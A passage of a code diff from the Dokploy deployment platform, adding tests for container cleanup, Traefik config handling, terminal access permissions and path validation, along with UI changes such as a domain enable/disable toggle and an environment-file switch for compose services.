"echo 'Error starting metrics cleanup system: empty spec string'; exit 1",
],
HostConfig: { RestartPolicy: { Name: "always" }, NetworkMode: "host" },
});
await container.start();
};
const pullTestImage = async () => {
try {
await docker.getImage(TEST_IMAGE).inspect();
return;
} catch {}
await new Promise<void>((resolve, reject) =>
docker.pull(TEST_IMAGE, (err: any, stream: any) =>
err
? reject(err)
: docker.modem.followProgress(stream, (e: any) =>
e ? reject(e) : resolve(),
),
),
);
};
// The code under test hardcodes the production name, so this suite cannot
// namespace its fixtures. Skip rather than wipe a real agent on a Dokploy host.
const hasRealMonitoring = () => {
const query = (cmd: string) => {
try {
return execSync(cmd, { stdio: ["ignore", "pipe", "ignore"] })
.toString()
.trim();
} catch {
return "";
}
};
return (
query(
`docker service ls --filter name=${SERVICE_NAME} --format '{{.Name}}'`,
) !== "" ||
query(
`docker ps -a --filter name=^${SERVICE_NAME}$ --format '{{.Names}}'`,
) !== ""
);
};
describe.skipIf(hasRealMonitoring())(
"setupMonitoring - legacy container cleanup (real docker)",
() => {
beforeEach(async () => {
await pullTestImage();
await cleanup();
}, REAL_TEST_TIMEOUT);
afterAll(async () => {
await cleanup();
}, REAL_TEST_TIMEOUT);
it(
"removes the legacy standalone container left behind by the swarm migration",
async () => {
await createLegacyZombie();
expect(await containerExists(SERVICE_NAME)).toBe(true);
await setupMonitoring("test-server");
expect(await containerExists(SERVICE_NAME)).toBe(false);
expect(await serviceExists(SERVICE_NAME)).toBe(true);
},
REAL_TEST_TIMEOUT,
);
it(
"removes the legacy container without touching swarm tasks, which are named dokploy-monitoring.<slot>.<id>",
async () => {
const taskName = `${SERVICE_NAME}.1.qh3ldvg2h9x0test`;
const task = await docker.createContainer({
name: taskName,
Image: TEST_IMAGE,
Cmd: ["sleep", "3600"],
});
await task.start();
await createLegacyZombie();
await setupMonitoring("test-server");
expect(await containerExists(SERVICE_NAME)).toBe(false);
expect(await containerExists(taskName)).toBe(true);
const inspect = await docker.getContainer(taskName).inspect();
expect(inspect.State.Running).toBe(true);
},
REAL_TEST_TIMEOUT,
);
it(
"is idempotent when no legacy container exists",
async () => {
expect(await containerExists(SERVICE_NAME)).toBe(false);
await expect(setupMonitoring("test-server")).resolves.not.toThrow();
await expect(setupMonitoring("test-server")).resolves.not.toThrow();
expect(await serviceExists(SERVICE_NAME)).toBe(true);
},
REAL_TEST_TIMEOUT,
);
it(
"deploys the service even when removing the legacy container fails",
async () => {
const failingDocker = {
getContainer: () => ({
remove: async () => {
const error: any = new Error("device or resource busy");
error.statusCode = 500;
throw error;
},
}),
getService: docker.getService.bind(docker),
createService: docker.createService.bind(docker),
};
const remoteDocker = await import(
"@dokploy/server/utils/servers/remote-docker"
);
const spy = vi
.spyOn(remoteDocker, "getRemoteDocker")
.mockResolvedValue(failingDocker as any);
try {
await expect(setupMonitoring("test-server")).resolves.not.toThrow();
expect(spy).toHaveBeenCalled(); // guards against the spy silently not intercepting
expect(await serviceExists(SERVICE_NAME)).toBe(true);
} finally {
spy.mockRestore();
}
},
REAL_TEST_TIMEOUT,
);
},
);

View File

@ -35,6 +35,7 @@ const baseDomain: Domain = {
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
describe("forwardAuthMiddlewareName", () => {

View File

@ -0,0 +1,71 @@
import { reconnectServicesToTraefik } from "@dokploy/server/services/settings";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
findMany: vi.fn(),
execAsync: vi.fn(),
execAsyncRemote: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
compose: {
findMany: mocks.findMany,
},
},
},
}));
vi.mock("@dokploy/server/utils/process/execAsync", () => ({
execAsync: mocks.execAsync,
execAsyncRemote: mocks.execAsyncRemote,
}));
describe("reconnectServicesToTraefik", () => {
beforeEach(() => {
vi.clearAllMocks();
mocks.findMany.mockResolvedValue([]);
});
it("does not execute an empty local command when no isolated deployments exist", async () => {
await reconnectServicesToTraefik();
expect(mocks.execAsync).not.toHaveBeenCalled();
});
it("does not execute an empty remote command when no isolated deployments exist", async () => {
await reconnectServicesToTraefik("server-id");
expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
});
it("reconnects isolated deployments to the local Traefik network", async () => {
mocks.findMany.mockResolvedValue([
{ appName: "first-compose" },
{ appName: "second-compose" },
]);
await reconnectServicesToTraefik();
expect(mocks.execAsync).toHaveBeenCalledOnce();
expect(mocks.execAsync).toHaveBeenCalledWith(
'docker network connect first-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n' +
'docker network connect second-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n',
);
expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
});
it("reconnects isolated deployments on a remote server", async () => {
mocks.findMany.mockResolvedValue([{ appName: "remote-compose" }]);
await reconnectServicesToTraefik("server-id");
expect(mocks.execAsyncRemote).toHaveBeenCalledOnce();
expect(mocks.execAsyncRemote).toHaveBeenCalledWith(
"server-id",
'docker network connect remote-compose $(docker ps --filter "name=dokploy-traefik" -q) >/dev/null 2>&1\n',
);
expect(mocks.execAsync).not.toHaveBeenCalled();
});
});

View File

@ -151,6 +151,7 @@ const baseDomain: Domain = {
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
const baseRedirect: Redirect = {

View File

@ -0,0 +1,116 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { writeAppTraefikConfig } from "@dokploy/server/utils/traefik/application";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
execAsyncRemote: vi.fn(),
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsyncRemote: mocks.execAsyncRemote,
};
});
describe("writeAppTraefikConfig", () => {
let cwd: string;
let dynamicPath: string;
beforeEach(() => {
cwd = fs.mkdtempSync(path.join(os.tmpdir(), "dokploy-traefik-"));
dynamicPath = path.join(cwd, ".docker", "traefik", "dynamic");
fs.mkdirSync(dynamicPath, { recursive: true });
vi.spyOn(process, "cwd").mockReturnValue(cwd);
vi.clearAllMocks();
});
afterEach(() => {
vi.restoreAllMocks();
fs.rmSync(cwd, { recursive: true, force: true });
});
// Regression test for #5189: Traefik's file provider rejects a standalone
// `routers: {}` / `services: {}` map and aborts its watcher for every
// dynamic config once it hits one, so an app with no domains must never
// get an on-disk config file at all.
it("removes the file instead of writing empty routers/services", async () => {
const appName = "no-domain-app";
const configPath = path.join(dynamicPath, `${appName}.yml`);
fs.writeFileSync(configPath, "stale content", "utf8");
await writeAppTraefikConfig(
{ http: { routers: {}, services: {} } },
appName,
);
expect(fs.existsSync(configPath)).toBe(false);
});
it("writes the file when routers/services are present", async () => {
const appName = "with-domain-app";
const configPath = path.join(dynamicPath, `${appName}.yml`);
await writeAppTraefikConfig(
{
http: {
routers: {
[`${appName}-router-1`]: {
rule: "Host(`x`)",
service: `${appName}-service`,
},
},
services: {},
},
},
appName,
);
expect(fs.existsSync(configPath)).toBe(true);
});
it("removes the remote file instead of writing empty routers/services", async () => {
mocks.execAsyncRemote.mockResolvedValue({ stdout: "", stderr: "" });
await writeAppTraefikConfig(
{ http: { routers: {}, services: {} } },
"no-domain-app",
"server-id",
);
expect(mocks.execAsyncRemote).toHaveBeenCalledOnce();
const [, command] = mocks.execAsyncRemote.mock.calls[0] ?? [];
expect(command).toMatch(/^rm -f /);
expect(command).toContain("no-domain-app.yml");
});
it("writes the remote file when routers/services are present", async () => {
mocks.execAsyncRemote.mockResolvedValue({ stdout: "", stderr: "" });
await writeAppTraefikConfig(
{
http: {
routers: {
"with-domain-app-router-1": {
rule: "Host(`x`)",
service: "with-domain-app-service",
},
},
services: {},
},
},
"with-domain-app",
"server-id",
);
expect(mocks.execAsyncRemote).toHaveBeenCalledOnce();
const [, command] = mocks.execAsyncRemote.mock.calls[0] ?? [];
expect(command).toMatch(/^echo /);
});
});

View File

@ -95,10 +95,35 @@ describe("canAccessTerminalOverWss", () => {
});
it("gates a remote server terminal on server access", async () => {
mockHasPermission.mockResolvedValue(true);
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
// role lookup must not be needed for the remote path
// the remote path must never fall through to the owner/admin local branch
expect(mockFindMember).not.toHaveBeenCalled();
});
it("denies a remote server terminal without the server.terminal permission", async () => {
// Reaching a server (to deploy on it) must not imply a root shell on it.
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
mockHasPermission.mockResolvedValue(false);
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(false);
expect(mockHasPermission).toHaveBeenCalledWith(
{ user: { id: USER.id }, session: { activeOrganizationId: "org-1" } },
{ server: ["terminal"] },
);
});
it("allows a remote server terminal with the server.terminal permission", async () => {
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
mockHasPermission.mockResolvedValue(true);
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
});
it("does not check permissions for a server the caller cannot access", async () => {
mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
mockHasPermission.mockResolvedValue(true);
expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
expect(mockHasPermission).not.toHaveBeenCalled();
});
});

View File

@ -94,4 +94,32 @@ describe("readValidDirectory (path traversal)", () => {
),
).toBe(true);
});
it("returns true for SvelteKit routes with + prefix and @ symbols", () => {
expect(
readValidDirectory(
`${BASE}/applications/myapp/code/src/routes/+page.svelte`,
),
).toBe(true);
expect(
readValidDirectory(
`${BASE}/applications/myapp/code/src/routes/+layout.svelte`,
),
).toBe(true);
expect(
readValidDirectory(
`${BASE}/applications/myapp/code/src/routes/+server.ts`,
),
).toBe(true);
expect(
readValidDirectory(
`${BASE}/applications/myapp/code/src/routes/+error.svelte`,
),
).toBe(true);
expect(
readValidDirectory(
`${BASE}/applications/myapp/code/node_modules/@types/node/index.d.ts`,
),
).toBe(true);
});
});

View File

@ -187,7 +187,7 @@ export const ShowClusterSettings = ({ id, type }: Props) => {
To use a cluster feature, you need to configure at least
a registry first. Please, go to{" "}
<Link
href="/dashboard/settings/cluster"
href="/dashboard/docker?tab=swarm&subtab=nodes"
className="text-foreground"
>
Settings

View File

@ -234,7 +234,7 @@ export const HandleRedirect = ({
<FormItem>
<FormLabel>Replacement</FormLabel>
<FormControl>
<Input placeholder="http://mydomain/$${1}" {...field} />
<Input placeholder="http://mydomain/$1" {...field} />
</FormControl>
<FormMessage />

View File

@ -148,7 +148,7 @@ export const ShowDeployment = ({
<DialogDescription className="flex items-center gap-2">
<span className="flex items-center gap-2">
See all the details of this deployment |{" "}
<Badge variant="blank" className="text-xs">
<Badge variant="blank" className="text-xs tabular-nums">
{filteredLogs.length} lines
</Badge>
</span>

View File

@ -342,7 +342,7 @@ export const ShowDeployments = ({
)}
{/* Hash (from description) - shown in compact form */}
{deployment.description?.trim() && (
<span className="text-xs text-muted-foreground font-mono">
<span className="wrap-anywhere text-xs text-muted-foreground font-mono">
{deployment.description}
</span>
)}

View File

@ -14,6 +14,7 @@ import Link from "next/link";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Switch } from "@/components/ui/switch";
import {
Tooltip,
TooltipContent,
@ -35,7 +36,9 @@ interface ColumnsProps {
validationStates: ValidationStates;
handleValidateDomain: (host: string) => Promise<void>;
handleDeleteDomain: (domainId: string) => Promise<void>;
handleToggleEnable: (domainId: string) => Promise<void>;
isDeleting: boolean;
isToggling: boolean;
serverIp?: string;
canCreateDomain: boolean;
canDeleteDomain: boolean;
@ -47,7 +50,9 @@ export const createColumns = ({
validationStates,
handleValidateDomain,
handleDeleteDomain,
handleToggleEnable,
isDeleting,
isToggling,
serverIp,
canCreateDomain,
canDeleteDomain,
@ -249,6 +254,42 @@ export const createColumns = ({
);
},
},
{
id: "status",
header: "Status",
cell: ({ row }) => {
const domain = row.original;
if (!canCreateDomain) {
return (
<Badge variant={domain.enabled ? "outline" : "secondary"}>
{domain.enabled ? "Enabled" : "Disabled"}
</Badge>
);
}
return (
<TooltipProvider>
<Tooltip>
<TooltipTrigger asChild>
<div className="flex items-center">
<Switch
checked={domain.enabled}
onCheckedChange={() => handleToggleEnable(domain.domainId)}
disabled={isToggling}
/>
</div>
</TooltipTrigger>
<TooltipContent>
<p>
{domain.enabled
? "Domain is active. Toggle to disable routing without deleting it."
: "Domain is disabled and not routed. Toggle to enable it again."}
</p>
</TooltipContent>
</Tooltip>
</TooltipProvider>
);
},
},
{
id: "actions",
header: "Actions",

View File

@ -46,6 +46,7 @@ import {
TooltipTrigger,
} from "@/components/ui/tooltip";
import { api } from "@/utils/api";
import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
export type CacheType = "fetch" | "cache";
@ -300,7 +301,12 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
customEntrypoint: data.useCustomEntrypoint ? data.customEntrypoint : null,
})
.then(async () => {
toast.success(dictionary.success);
toast.success(
dictionary.success,
data.domainType === "compose"
? { description: COMPOSE_REDEPLOY_TOAST }
: undefined,
);
if (data.domainType === "application") {
await utils.domain.byApplicationId.invalidate({
@ -337,12 +343,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
</DialogHeader>
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
{type === "compose" && (
<AlertBlock type="info" className="mb-4">
Whenever you make changes to domains, remember to redeploy your
compose to apply the changes.
</AlertBlock>
)}
{type === "compose" && <ComposeRedeployAlert className="mb-4" />}
<Form {...form}>
<form

View File

@ -0,0 +1,19 @@
import { AlertBlock } from "@/components/shared/alert-block";
/**
* Domains attached to a compose service are rendered as docker labels and only
* take effect on the next deployment. These strings keep the "redeploy required"
* wording consistent across the add/edit dialog, the domains list and the
* toasts shown after create/update/delete/toggle operations.
*/
export const COMPOSE_REDEPLOY_HINT =
"Whenever you make changes to domains, remember to redeploy your compose to apply the changes.";
export const COMPOSE_REDEPLOY_TOAST =
"Redeploy the compose to apply the changes.";
export const ComposeRedeployAlert = ({ className }: { className?: string }) => (
<AlertBlock type="info" className={className}>
{COMPOSE_REDEPLOY_HINT}
</AlertBlock>
);

View File

@ -44,6 +44,7 @@ import {
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { Input } from "@/components/ui/input";
import { Switch } from "@/components/ui/switch";
import {
Table,
TableBody,
@ -58,11 +59,13 @@ import {
TooltipProvider,
TooltipTrigger,
} from "@/components/ui/tooltip";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
import { createColumns } from "./columns";
import { DnsHelperModal } from "./dns-helper-modal";
import { AddDomain } from "./handle-domain";
import { HandleForwardAuth } from "./handle-forward-auth";
import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
export type ValidationState = {
isLoading: boolean;
@ -146,12 +149,34 @@ export const ShowDomains = ({ id, type }: Props) => {
api.domain.validateDomain.useMutation();
const { mutateAsync: deleteDomain, isPending: isRemoving } =
api.domain.delete.useMutation();
const { mutateAsync: toggleEnable, isPending: isToggling } =
api.domain.toggleEnable.useMutation();
const handleToggleEnable = async (domainId: string) => {
try {
const result = await toggleEnable({ domainId });
refetch();
toast.success(
result.enabled ? "Domain enabled" : "Domain disabled",
result.requiresRedeploy
? { description: COMPOSE_REDEPLOY_TOAST }
: undefined,
);
} catch {
toast.error("Error updating the domain");
}
};
const handleDeleteDomain = async (domainId: string) => {
try {
await deleteDomain({ domainId });
refetch();
toast.success("Domain deleted successfully");
toast.success(
"Domain deleted successfully",
type === "compose"
? { description: COMPOSE_REDEPLOY_TOAST }
: undefined,
);
} catch {
toast.error("Error deleting domain");
}
@ -166,8 +191,7 @@ export const ShowDomains = ({ id, type }: Props) => {
try {
const result = await validateDomain({
domain: host,
serverIp:
application?.server?.ipAddress?.toString() || ip?.toString() || "",
serverId: application?.serverId ?? undefined,
});
setValidationStates((prev) => ({
@ -200,7 +224,9 @@ export const ShowDomains = ({ id, type }: Props) => {
validationStates,
handleValidateDomain,
handleDeleteDomain,
handleToggleEnable,
isDeleting: isRemoving,
isToggling,
serverIp: application?.server?.ipAddress?.toString() || ip?.toString(),
canCreateDomain,
canDeleteDomain,
@ -265,6 +291,11 @@ export const ShowDomains = ({ id, type }: Props) => {
)}
</div>
</CardHeader>
{type === "compose" && data && data.length > 0 && (
<div className="px-6 pb-4">
<ComposeRedeployAlert />
</div>
)}
<CardContent className="flex w-full flex-row gap-4">
{isLoadingDomains ? (
<div className="flex w-full flex-row gap-4 min-h-[40vh] justify-center items-center">
@ -413,7 +444,10 @@ export const ShowDomains = ({ id, type }: Props) => {
return (
<Card
key={item.domainId}
className="relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit"
className={cn(
"relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit",
!item.enabled && "opacity-60",
)}
>
<CardContent className="p-6">
<div className="flex flex-col gap-4">
@ -466,18 +500,7 @@ export const ShowDomains = ({ id, type }: Props) => {
description="Are you sure you want to delete this domain?"
type="destructive"
onClick={async () => {
await deleteDomain({
domainId: item.domainId,
})
.then((_data) => {
refetch();
toast.success(
"Domain deleted successfully",
);
})
.catch(() => {
toast.error("Error deleting domain");
});
await handleDeleteDomain(item.domainId);
}}
>
<Button
@ -492,15 +515,41 @@ export const ShowDomains = ({ id, type }: Props) => {
)}
</div>
</div>
<div className="w-full break-all">
<Link
className="flex items-center gap-2 text-base font-medium hover:underline"
target="_blank"
href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
>
{item.host}
<ExternalLink className="size-4 min-w-4" />
</Link>
<div className="flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between">
<div className="w-full break-all">
<Link
className="flex items-center gap-2 text-base font-medium hover:underline"
target="_blank"
href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
>
{item.host}
<ExternalLink className="size-4 min-w-4" />
</Link>
</div>
{canCreateDomain && (
<TooltipProvider>
<Tooltip>
<TooltipTrigger asChild>
<div className="flex items-center shrink-0">
<Switch
checked={item.enabled}
onCheckedChange={() =>
handleToggleEnable(item.domainId)
}
disabled={isToggling}
/>
</div>
</TooltipTrigger>
<TooltipContent>
<p>
{item.enabled
? "Domain is active. Toggle to disable routing without deleting it."
: "Domain is disabled and not routed. Toggle to enable it again."}
</p>
</TooltipContent>
</Tooltip>
</TooltipProvider>
)}
</div>
{/* Domain Details */}

View File

@ -5,6 +5,7 @@ import { useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { CodeEditor } from "@/components/shared/code-editor";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import {
Card,
@ -16,16 +17,20 @@ import {
import {
Form,
FormControl,
FormDescription,
FormField,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form";
import { Switch } from "@/components/ui/switch";
import { Toggle } from "@/components/ui/toggle";
import { api } from "@/utils/api";
import type { ServiceType } from "../advanced/show-resources";
const addEnvironmentSchema = z.object({
environment: z.string(),
createEnvFile: z.boolean(),
});
type EnvironmentSchema = z.infer<typeof addEnvironmentSchema>;
@ -54,6 +59,12 @@ export const ShowEnvironment = ({ id, type }: Props) => {
? queryMap[type]()
: api.mongo.one.useQuery({ mongoId: id }, { enabled: !!id });
const [isEnvVisible, setIsEnvVisible] = useState(true);
const completionSource = useEnvCompletionSource({
projectEnv: data?.environment?.project?.env,
environmentEnv: data?.environment?.env,
projectId: data?.environment?.projectId,
environmentId: data?.environment?.environmentId,
});
const mutationMap = {
compose: () => api.compose.saveEnvironment.useMutation(),
@ -71,18 +82,32 @@ export const ShowEnvironment = ({ id, type }: Props) => {
const form = useForm<EnvironmentSchema>({
defaultValues: {
environment: "",
createEnvFile: true,
},
resolver: zodResolver(addEnvironmentSchema),
});
// Watch form value
const currentEnvironment = form.watch("environment");
const hasChanges = currentEnvironment !== (data?.env || "");
const currentCreateEnvFile = form.watch("createEnvFile");
const composeData =
type === "compose"
? (data as { createEnvFile?: boolean; sourceType?: string } | undefined)
: undefined;
const showCreateEnvFileToggle =
type === "compose" &&
(composeData?.sourceType !== "raw" || composeData?.createEnvFile === false);
const hasChanges =
currentEnvironment !== (data?.env || "") ||
(showCreateEnvFileToggle &&
currentCreateEnvFile !== (composeData?.createEnvFile ?? true));
useEffect(() => {
if (data) {
form.reset({
environment: data.env || "",
createEnvFile: composeData?.createEnvFile ?? true,
});
}
}, [data, form]);
@ -97,6 +122,9 @@ export const ShowEnvironment = ({ id, type }: Props) => {
postgresId: id || "",
redisId: id || "",
env: formData.environment,
...(type === "compose" && {
createEnvFile: formData.createEnvFile,
}),
})
.then(async () => {
toast.success("Environments Added");
@ -110,6 +138,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
const handleCancel = () => {
form.reset({
environment: data?.env || "",
createEnvFile: composeData?.createEnvFile ?? true,
});
};
@ -176,6 +205,7 @@ export const ShowEnvironment = ({ id, type }: Props) => {
} as CSSProperties
}
language="properties"
completionSource={completionSource}
disabled={isEnvVisible}
className="font-mono"
wrapperClassName="compose-file-editor"
@ -190,6 +220,34 @@ PORT=3000
)}
/>
{showCreateEnvFileToggle && (
<FormField
control={form.control}
name="createEnvFile"
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between p-3 border rounded-lg shadow-xs">
<div className="space-y-0.5">
<FormLabel>Create Environment File</FormLabel>
<FormDescription>
When enabled, an .env file will be created in the same
directory as your compose file on every deploy.
Disable this to keep a repository-provided .env; the
variables above will then be ignored. Takes effect on
the next deploy.
</FormDescription>
</div>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
disabled={!canWrite}
/>
</FormControl>
</FormItem>
)}
/>
)}
{canWrite && (
<div className="flex flex-row justify-end gap-2">
{hasChanges && (

View File

@ -3,6 +3,7 @@ import { useEffect } from "react";
import { useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { useEnvCompletionSource } from "@/components/shared/env-autocomplete";
import { Button } from "@/components/ui/button";
import { Card } from "@/components/ui/card";
import {
@ -45,6 +46,13 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
},
);
const completionSource = useEnvCompletionSource({
projectEnv: data?.environment?.project?.env,
environmentEnv: data?.environment?.env,
projectId: data?.environment?.projectId,
environmentId: data?.environment?.environmentId,
});
const form = useForm<EnvironmentSchema>({
defaultValues: {
env: "",
@ -142,6 +150,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
</span>
}
placeholder={["NODE_ENV=production", "PORT=3000"].join("\n")}
completionSource={completionSource}
/>
{data?.buildType === "dockerfile" && (
<Secrets
@ -163,6 +172,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
</span>
}
placeholder="NPM_TOKEN=xyz"
completionSource={completionSource}
/>
)}
{data?.buildType === "dockerfile" && (
@ -185,6 +195,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
</span>
}
placeholder="NPM_TOKEN=xyz"
completionSource={completionSource}
/>
)}
{data?.buildType === "dockerfile" && (

View File

@ -1,6 +1,7 @@
import { Loader2 } from "lucide-react";
import dynamic from "next/dynamic";
import { useEffect, useState } from "react";
import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils";
import { Badge } from "@/components/ui/badge";
import {
Card,
@ -79,17 +80,13 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
},
);
const availableContainers = option === "native" ? containers : services;
useEffect(() => {
if (option === "native") {
if (containers && containers?.length > 0) {
setContainerId(containers[0]?.containerId);
}
} else {
if (services && services?.length > 0) {
setContainerId(services[0]?.containerId);
}
}
}, [option, services, containers]);
setContainerId((currentContainerId) =>
resolveContainerSelection(currentContainerId, availableContainers),
);
}, [availableContainers]);
const isLoading = option === "native" ? containersLoading : servicesLoading;
const containersLength =
@ -105,7 +102,7 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
</CardHeader>
<CardContent className="flex flex-col gap-4">
<div className="flex flex-row justify-between items-center gap-2">
<div className="flex flex-col sm:flex-row justify-between sm:items-center gap-2">
<Label>Select a container to view logs</Label>
<div className="flex flex-row gap-2 items-center">
<span className="text-sm text-muted-foreground">
@ -114,6 +111,7 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
<Switch
checked={option === "native"}
onCheckedChange={(checked) => {
setContainerId(undefined);
setOption(checked ? "native" : "swarm");
}}
/>

View File

@ -50,6 +50,7 @@ interface Props {
id: string;
type: "application" | "compose";
serverId?: string;
trigger?: React.ReactNode;
}
const RestoreBackupSchema = z.object({
@ -64,7 +65,12 @@ const RestoreBackupSchema = z.object({
}),
});
export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
export const RestoreVolumeBackups = ({
id,
type,
serverId,
trigger,
}: Props) => {
const [isOpen, setIsOpen] = useState(false);
const [search, setSearch] = useState("");
const [debouncedSearchTerm, setDebouncedSearchTerm] = useState("");
@ -144,10 +150,12 @@ export const RestoreVolumeBackups = ({ id, type, serverId }: Props) => {
return (
<Dialog open={isOpen} onOpenChange={setIsOpen}>
<DialogTrigger asChild>
<Button variant="outline">
<RotateCcw className="mr-2 size-4" />
Restore Volume Backup
</Button>
{trigger ?? (
<Button variant="outline">
<RotateCcw className="mr-2 size-4" />
Restore Volume Backup
</Button>
)}
</DialogTrigger>
<DialogContent className="sm:max-w-lg">
<DialogHeader>

View File

@ -114,6 +114,7 @@ export const ShowComposeContainers = ({
<TableHead>Name</TableHead>
<TableHead>State</TableHead>
<TableHead>Status</TableHead>
{appType === "stack" && <TableHead>Node</TableHead>}
<TableHead>Container ID</TableHead>
<TableHead className="text-right" />
</TableRow>
@ -121,8 +122,9 @@ export const ShowComposeContainers = ({
<TableBody>
{data.map((container) => (
<ContainerRow
key={container.containerId}
key={container.name}
container={container}
appType={appType}
serverId={serverId}
serviceId={serviceId}
onActionComplete={() => refetch()}
@ -143,7 +145,9 @@ interface ContainerRowProps {
name: string;
state: string;
status: string;
node?: string;
};
appType: "stack" | "docker-compose";
serverId?: string;
serviceId?: string;
onActionComplete: () => void;
@ -151,6 +155,7 @@ interface ContainerRowProps {
const ContainerRow = ({
container,
appType,
serverId,
serviceId,
onActionComplete,
@ -192,7 +197,13 @@ const ContainerRow = ({
variant={
container.state === "running"
? "default"
: container.state === "exited"
: [
"exited",
"pending",
"preparing",
"starting",
"ready",
].includes(container.state)
? "secondary"
: "destructive"
}
@ -201,96 +212,99 @@ const ContainerRow = ({
</Badge>
</TableCell>
<TableCell>{container.status}</TableCell>
{appType === "stack" && <TableCell>{container.node || "-"}</TableCell>}
<TableCell className="font-mono text-sm text-muted-foreground">
{container.containerId}
{container.containerId || "-"}
</TableCell>
<TableCell className="text-right">
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="ghost" className="h-8 w-8 p-0">
{actionLoading ? (
<Loader2 className="h-4 w-4 animate-spin" />
) : (
<MoreHorizontal className="h-4 w-4" />
)}
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<DialogTrigger asChild>
{!container.containerId ? null : (
<Dialog open={logsOpen} onOpenChange={setLogsOpen}>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="ghost" className="h-8 w-8 p-0">
{actionLoading ? (
<Loader2 className="h-4 w-4 animate-spin" />
) : (
<MoreHorizontal className="h-4 w-4" />
)}
</Button>
</DropdownMenuTrigger>
<DropdownMenuContent align="end">
<DropdownMenuLabel>Actions</DropdownMenuLabel>
<DialogTrigger asChild>
<DropdownMenuItem
className="cursor-pointer"
onSelect={(e) => e.preventDefault()}
>
View Logs
</DropdownMenuItem>
</DialogTrigger>
<ShowContainerConfig
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerMounts
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerNetworks
containerId={container.containerId}
serverId={serverId || ""}
/>
<DockerTerminalModal
containerId={container.containerId}
serverId={serverId || ""}
serviceId={serviceId}
>
Terminal
</DockerTerminalModal>
<DropdownMenuSeparator />
<DropdownMenuItem
className="cursor-pointer"
onSelect={(e) => e.preventDefault()}
disabled={actionLoading !== null}
onClick={() => handleAction("restart", restartMutation)}
>
View Logs
Restart
</DropdownMenuItem>
</DialogTrigger>
<ShowContainerConfig
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerMounts
containerId={container.containerId}
serverId={serverId || ""}
/>
<ShowContainerNetworks
containerId={container.containerId}
serverId={serverId || ""}
/>
<DockerTerminalModal
containerId={container.containerId}
serverId={serverId || ""}
serviceId={serviceId}
>
Terminal
</DockerTerminalModal>
<DropdownMenuSeparator />
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("restart", restartMutation)}
>
Restart
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("start", startMutation)}
>
Start
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer"
disabled={actionLoading !== null}
onClick={() => handleAction("stop", stopMutation)}
>
Stop
</DropdownMenuItem>
<DropdownMenuItem
className="cursor-pointer text-red-500 focus:text-red-600"
disabled={actionLoading !== null}
onClick={() => handleAction("kill", killMutation)}
>
Kill
</DropdownMenuItem>
</DropdownMenuContent>
</DropdownMenu>
